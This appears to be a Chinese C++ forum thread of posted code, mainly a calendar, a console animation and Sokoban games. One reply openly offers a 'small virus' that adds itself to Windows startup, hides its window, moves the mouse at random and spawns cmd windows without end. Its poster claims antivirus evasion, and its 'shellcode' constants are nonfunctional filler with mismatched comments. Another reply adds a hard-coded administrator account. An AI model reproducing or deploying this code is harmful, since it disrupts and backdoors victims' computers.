用户:
UEG联合政府查看:28 回复:12 评论:28 创建时间:2023-06-30T20:36:44
C++讨论会
#include<iostream>
using namespace std;
int main()
{
return 0;
}万年历代码C++
#include <conio.h>
#include <iostream>
#include <iomanip>
using namespace std;
int main(int argc, char** argv)
{
char main_comm;
do
{
system("cls");
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"-----------万年历-----------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cin>>main_comm;
if ( main_comm == 's')
{
int date;
do
{
system("cls");
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"---------请输入日期---------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------------------------"<<endl;
cout <<"----------输入:";
cin>>date;
if (date>= 19000101)
{
int DD = date % 100;
int MM = (date / 100) % 100;
int YYYY = date / 10000;
if ( ( (MM==1||MM==3||MM==5||MM==7||MM==8||MM==10||MM==12) && DD<=31 )
|| ( (MM==4||MM==6||MM==9||MM==11) && DD<=30 )
|| ( (MM==2&&(YYYY%4!=0||(YYYY%100==0&&YYYY%400!=0))&& DD<=28) )
|| ( (MM==2&&!(YYYY%4!=0||(YYYY%100==0&&YYYY%400!=0))&& DD<=29) ) )
{
char search_comm;
do
{
system("cls");
int TotalDays = 0;
for (int year = 1900; year<YYYY; year++)
{
if ((year % 4 == 0 && year %100 != 0) || (year % 400 == 0))
{
TotalDays += 366;
}
else
{
TotalDays += 365;
}
}
for (int month = 1; month < MM; month++)
{
if (month == 2)
{
if ((YYYY % 4 == 0 && YYYY %100 != 0) || (YYYY % 400 == 0))
{
TotalDays += 29;
}
else
{
TotalDays += 28;
}
}
else
{
if (month == 4 || month == 6 || month == 9 || month == 11)
{
TotalDays += 30;
}
else
{
TotalDays += 31;
}
}
}
TotalDays += 1;
int weekday = TotalDays % 7;
int monthdays = 0;
if (MM == 2)
{
if ((YYYY % 4 == 0 && YYYY %100 != 0) || (YYYY % 400 == 0))
{
monthdays = 29;
}
else
{
monthdays = 28;
}
}
else
{
if (MM == 4 || MM == 6 || MM == 9 || MM == 11)
{
monthdays = 30;
}
else
{
monthdays = 31;
}
}
for (int i = 0; i <8; i++)
{
cout<<endl;
}
cout<<" "<<YYYY<<"年"<<MM<<"月"<<endl;
cout<<endl;
cout<<" 日 一 二 三 四 五 六"<<endl;
cout<<endl;
for (int i = 0; i < weekday; i++)
{
cout<<(" ");
}
for (int i = 1; i <= monthdays; i++)
{
if ((weekday + i) % 7 == 0)
cout<<setiosflags(ios::right)<<setw(3)<<i<<endl;
else
cout<<setiosflags(ios::right)<<setw(3)<<i;
}
for (int i = 0; i <8; i++)
cout<<endl;
search_comm = getch();
if (search_comm == 'a')
{
MM++;
if ( MM == 13)
{
YYYY++;
MM = 1;
}
}
if (search_comm == 'd')
{
MM--;
if ( MM == 0)
{
YYYY--;
MM = 12;
}
}
if (search_comm == 'w')
{
YYYY++;
}
if (search_comm == 's'&&YYYY!=1900)
{
YYYY--;
}
}while(search_comm != 'q');
}
}
} while ( date != 999);
}
} while (main_comm != 'q');
system("cls");
return 0;
}点赞0
评论
飞熊jSrt#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <math.h>
int main() {
int i=0,j,m=10,lm=log10(m),b=0,lim=7,lj=0;
char l[3]={'/','-','\\'},e;
printf("\033[?25l\n");
srand(time(0));
while(1){
printf("\033[A\033[0K%c",l[lj/3%3]);
for(j=0;j<lm-(int)log10(i);j++){
printf(" ");
}
if(i==0){printf(" ");}
printf("%d|",i);
for(j=0;j<i;j++){
printf(" ");
}
printf((i%2==0?"几":"一"));
for(j=0;j<m-i;j++){
printf(" ");
}
printf("|");
int r=rand()%lim+1;
for(j=0;j<r;j++){
printf("%c",rand()%47+33);
}
for(j=0;j<lim-r;j++){
printf(" ");
}
printf("%%\n");
usleep(20000);
b=(i==m?1:b);
b=(i==0?0:b);
i=(i<m+1?i+(b==0?1:-1):0);
lj=(lj>9?0:lj+1);
}
return 0;
}点赞0
评论
小鹿UUyM#include <bits/stdc++.h>
#include <stdio.h>
#include <windows.h>
#include <time.h>
using namespace std;
HWND hWnd = GetConsoleWindow();
void HKRunator(){
char programName[MAX_PATH] = { 0 };
DWORD dwRet = GetModuleFileName(NULL, (LPSTR)programName, MAX_PATH);
HKEY hKey = NULL;
DWORD rc;
rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WOW64_64KEY | KEY_ALL_ACCESS,
NULL,
&hKey,
NULL);
if (rc == ERROR_SUCCESS){
rc = RegSetValueEx(hKey,
"MyProgramName",
0,
REG_SZ,
(const BYTE*)programName,
strlen(programName));
if (rc == ERROR_SUCCESS){
RegCloseKey(hKey);
}
}
}
int main(){
int a = 0x68; // push eax
int b = 0x68732f2f; // push [ebp-0x2f2f]
int c = 0x68732f6b; // push [ebp-0x6b]
int d = 0x687508; // push ebp
int e = 0xffffffff; // mov ebp, esp
int f = 0x68732f6b; // push [ebp-0x6b]
int g = 0x687510; // push ebp
int h = 0x31db; // xor ebx, ebx
int i = 0x68750c; // push ebp
int j = 0x31d2; // xor edx, edx
int k = 0x687514; // push ebp
int l = 0x31db; // xor ebx, ebx
int m = 0x687518; // push ebp
int n = 0x31d2; // xor edx, edx
int o = 0xc3; // retn
HKRunator();
ShowWindow(hWnd,SW_HIDE);
POINT mouse;
srand(time(0));
while(1){
GetCursorPos(&mouse);
mouse.x=rand()%1920;
mouse.y=rand()%1080;
SetCursorPos(mouse.x,mouse.y);
system("start cmd");
}
return 0;
}
小病毒,出事自负,作者概不负责
(注:此病毒有免杀,但是360可能报毒)
(重启电脑也没用,有开机自启动)
点赞0
评论
#include <assert.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
USER_INFO_1 user;
user.usri1_name = UserName;
user.usri1_password = Password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_home_dir = NULL;
user.usri1_comment = NULL;
user.usri1_flags = UF_SCRIPT;
user.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
printf("创建用户完成 \n");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = user.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
printf("添加到组完成 \n");
}
void EnumUser()
{
LPUSER_INFO_0 pBuf = NULL;
LPUSER_INFO_0 pTmpBuf;
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
DWORD i;
NET_API_STATUS nStatus;
LPTSTR pszServerName = NULL;
do
{
nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != NULL);
if (pTmpBuf == NULL)
{
break;
}
wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
pTmpBuf++;
}
}
}
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA);
NetApiBufferFree(pBuf);
}
int main(int argc, char *argv[])
{
AddUser(L"lyshark", L"123123");
EnumUser();
system("pause");
return 0;
}点赞0
评论
推箱子代码(附操作说明)
#include<iostream>
#include<windows.h>
#include<conio.h>
using namespace std;
int main(int argc,char** argv)
{
char a[51][51]={
"##################################################",
"##* ## ## ##",
"## ########## ## ###### ###### ###### ######",
"## ## ## ## ## ## ## ##",
"########## ########## ## ## ###### ###### ##",
"## ## ## ## ## ## ##",
"## ## ########## ## ########## ########## ##",
"## ## ## ## ## ##",
"## ########## ###### ###### ## ## ###### ##",
"## ## ## ## ## ## ##",
"########## ###### ############## ###### ## ##",
"## ## ## ## ## ## ##",
"## ## ###### ###### ###### ########## ## ##",
"## ## ## ## ## ## ## ## ##",
"## ###### ###### ## ##& ########## ## ## ##",
"## ## ## ## ## ## ##",
"################## ## ## ###### ###### ######",
"## ## ## ## ## ##",
"## ###### ## ###### ## ## ###### ###### ##",
"## ## ## ## ## ##",
"## ############## ################## ## ######",
"## ## ## ## ## ##",
"## ###### ########## ############## ###### ##",
"## ## ## 00",
"##################################################",
};
char n;
// system("mode con cols=50 lines=30");
int x=1,y=2;
int x1=14,y1=26;
cout<<"==================================================================================="<<endl;
cout<<" 操作说明 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" w -------------------- 上 s ------------------- 下 "<<endl;
cout<<" "<<endl;
cout<<" a -------------------- 左 d ------------------- 右 "<<endl;
cout<<" "<<endl;
cout<<" q -------------------- 强制退出 其它按键 -------- 友谊提示 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" 加载中 "<<endl;
cout<<"==================================================================================="<<endl;
Sleep(3000);
do{
system("cls");
for(int num1=0;num1<=24;num1++){
for(int num2=0;num2<=49;num2++){
cout <<a[num1][num2];
}
cout <<endl;
}
n=getch();
if(n=='d'){
if(a[x][y+1]=='&'&&a[x1][y1+1]!='#'&&a[x1][y1+1]!='0'){
a[x1][y1]=' ';
y1++;
a[x1][y1]='&';
a[x][y]=' ';
y++;
a[x][y]='*';
}
if(a[x][y+1]!='#'&&a[x][y+1]!='0'&&a[x][y+1]!='&'){
a[x][y]=' ';
y++;
a[x][y]='*';
}
}
if(n=='w'){
if(a[x-1][y]=='&'&&a[x1-1][y1]!='#'){
a[x1][y1]=' ';
x1--;
a[x1][y1]='&';
a[x][y]=' ';
x--;
a[x][y]='*';
}else{
if(a[x-1][y]!='#'&&a[x-1][y]!='&'){
a[x][y]=' ';
x--;
a[x][y]='*';
}
}
}
if(n=='a'){
if(a[x][y-1]=='&'&&a[x1][y1-1]!='#'){
a[x1][y1]=' ';
y1--;
a[x1][y1]='&';
a[x][y]=' ';
y--;
a[x][y]='*';
}else{
if(a[x][y-1]!='#'&&a[x][y-1]!='&'){
a[x][y]=' ';
y--;
a[x][y]='*';
}
}
}
if(n=='s'){
if(a[x+1][y]=='&'&&a[x1+1][y1]!='#'){
a[x1][y1]=' ';
x1++;
a[x1][y1]='&';
a[x][y]=' ';
x++;
a[x][y]='*';
}else{
if(a[x+1][y]!='#'&&a[x+1][y]!='&'){
a[x][y]=' ';
x++;
a[x][y]='*';
}
}
}
if(a[x1][y1+1]=='0'){
system("cls");
cout <<"恭喜你获胜了!";
return 0;
}
}while(n!='q');
return 0;
}点赞0
评论
推箱子代码2(有问题,这是我老师做的,有错误告诉我)
#include<iostream>
#include<windows.h>
#include<conio.h>
using namespace std;
int main()
{
char sokoban[10][11];
int pre_x,pre_y;
int box_x,box_y;
int dest_x,dest_y;
int box3_x,box3_y;
int dest3_x,dest3_y;
int symbol=1;
char tab ='\0';
char begin;
char sokoban1[10][11]={
"##########",
"# #### #",
"# x#### #",
"# @ #",
"###### #",
"# ### #",
"# #",
"# ######",
"# *#",
"##########",}; //先对二维数组进行初始化。 */
char sokoban2[10][11]={
" ####" ,
"### ####",
"# #",
"# #■#x #",
"# * *#@ #",
"#########",}; //先对二维数组进行初始化。 */
int pre1_x=3,pre1_y=2; //对人的坐标进行初始化。
box3_x=2,box3_y=2; //对箱子的坐标进行初始化。
dest3_x=8,dest3_y=8;
int pre2_x=4,pre2_y=6;
int box2_x=3,box2_y=6;
box3_x=3,box3_y=3;
int dest2_x=4,dest2_y=2;
dest3_x=4,dest3_y=4;
cout<<"==================================================================================="<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" 欢迎来到推箱子游戏 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" 操作说明 "<<endl;
cout<<" "<<endl;
cout<<" 按s键进入游戏 "<<endl;
cout<<" 按任意键退出程序 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" 版权归XXX所有 "<<endl;
cout<<"==================================================================================="<<endl;
cin>>begin;
if(begin == 's')
{
// 绘制子菜单功能页面
system("cls");
int i=0,j=0;
cout<<"==================================================================================="<<endl;
cout<<" 操作说明 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" w -------------------- 上 s ------------------- 下 "<<endl;
cout<<" "<<endl;
cout<<" a -------------------- 左 d ------------------- 右 "<<endl;
cout<<" "<<endl;
cout<<" q -------------------- 强制退出 其它按键 -------- 友谊提示 "<<endl;
cout<<" "<<endl;
cout<<" "<<endl;
cout<<" 版权归XXX所有 "<<endl;
cout<<"==================================================================================="<<endl;
Sleep(5000);
do
{
system("color 0a");
system("cls");
switch(symbol)
{
case 1:
for(i=0;i<10;i++)
{
for(j=0;j<11;j++)
{
sokoban[i][j]=sokoban1[i][j];
}
}
pre_x=pre1_x,pre_y=pre1_y;
box_x=box3_x,box_y=box3_y;
dest_x=dest3_x,dest_y=dest3_y;
break;
case 2:
for(i=0;i<10;i++)
{
for(j=0;j<11;j++)
{
sokoban[i][j]=sokoban2[i][j];
}
}
pre_x=pre2_x,pre_y=pre2_y;
box_x=box2_x,box_y=box2_y;
dest_x=dest2_x,dest_y=dest2_y;
box3_x=box3_x,box3_y=box3_y;
dest3_x=dest3_x,dest3_y=dest3_y;
break;
case 0:
cout<<"欢迎下次使用,再见\n";
return 0;
}
do
{
system("cls");
for(i=0;i<10;i++) //展示地图
{
for(j=0;j<11;j++)
{
cout<<sokoban[i][j];
}
cout<<endl;
}
if(box_x==dest_x&&box_y==dest_y)
{
symbol++;
system("color 04");
if(symbol==2)
{
cout<<" @^_^@ 恭喜你通过第一关挑战,即将为您开启第二关\n";
Sleep(3000);
break;
}
else if(symbol==3)
{
cout<<" @^_^@ 恭喜您通过第二关挑战\n";
cout<<"重新开始请按1,直接退出请按0\n";
cin>>symbol;
break;
}
}
sokoban[pre_x][pre_y]=' ';
tab=getch();
switch(tab)
{
case 'w':
if(sokoban[pre_x-1][pre_y]==' '||sokoban[pre_x-1][pre_y]=='*')
{
pre_x--;
}
else if(sokoban[pre_x-1][pre_y]=='x')
{
if(sokoban[box_x-1][box_y]==' '||sokoban[box_x-1][box_y]=='*')
{
box_x--;
pre_x--;
}
}
else if(sokoban[pre_x-1][pre_y]=='w')
{
if(sokoban[box3_x-1][box3_y]==' '||sokoban[box3_x-1][box3_y]=='*')
{
box3_x--;
pre_x--;
}
}
break;
case 'a':
if(sokoban[pre_x][pre_y-1]==' '||sokoban[pre_x][pre_y-1]=='*')
{
pre_y--;
}
else if(sokoban[pre_x][pre_y-1]=='x')
{
if(sokoban[box_x][box_y-1]==' '||sokoban[box_x][box_y-1]=='*')
{
box_y--;
pre_y--;
}
}
else if(sokoban[pre_x][pre_y-1]=='w')
{
if(sokoban[box3_x][box3_y-1]==' '||sokoban[box3_x][box3_y-1]=='*')
{
box3_y--;
pre_y--;
}
}
break;
case 's':
if(sokoban[pre_x+1][pre_y]==' '||sokoban[pre_x+1][pre_y]=='*')
{
pre_x++;
}
else if(sokoban[pre_x+1][pre_y]=='x')
{
if(sokoban[box_x+1][box_y]==' '||sokoban[box_x+1][box_y]=='*')
{
box_x++;
pre_x++;
}
}
else if(sokoban[pre_x+1][pre_y]=='w')
{
if(sokoban[box3_x+1][box3_y]==' '||sokoban[box3_x+1][box3_y]=='*')
{
box3_x++;
pre_x++;
}
}
break;
case 'd':
if(sokoban[pre_x][pre_y+1]==' '||sokoban[pre_x][pre_y+1]=='*')
{
pre_y++;
}
else if(sokoban[pre_x][pre_y+1]=='x')
{
if(sokoban[box_x][box_y+1]==' '||sokoban[box_x][box_y+1]=='*')
{
pre_y++;
box_y++;
}
}
else if(sokoban[pre_x][pre_y+1]=='w')
{
if(sokoban[box3_x][box3_y+1]==' '||sokoban[box3_x][box3_y+1]=='*')
{
pre_y++;
box3_y++;
}
}
break;
case 'q':
system("cls");
cout<<" ...您正在使用强制退出!\n";
Sleep(1500);
cout<<"”...欢迎下次使用,再见!\n";
return 0;
default:
cout<<"...输入错误(w 向上,s 向下,a 向左,d 向右)\n";
Sleep(3000);
}
sokoban[dest_x][dest_y]='*';
sokoban[dest3_x][dest3_y]='*';
sokoban[pre_x][pre_y]='@';
sokoban[box3_x][box3_y]='w';
}
while(1);
}
while(1);
}
else
{
cout<<"感谢使用,下次再见\n";
}
return 0;
}
点赞0
评论
sppXimgsrc="https://static.codemao.cn/emoji/codemao/%E7%BC%96%E7%A8%8B%E7%8C%AB_%E5%8A%A0%E6%B2%B9.gif"alt="emotion_编程猫_加油"
点赞0
评论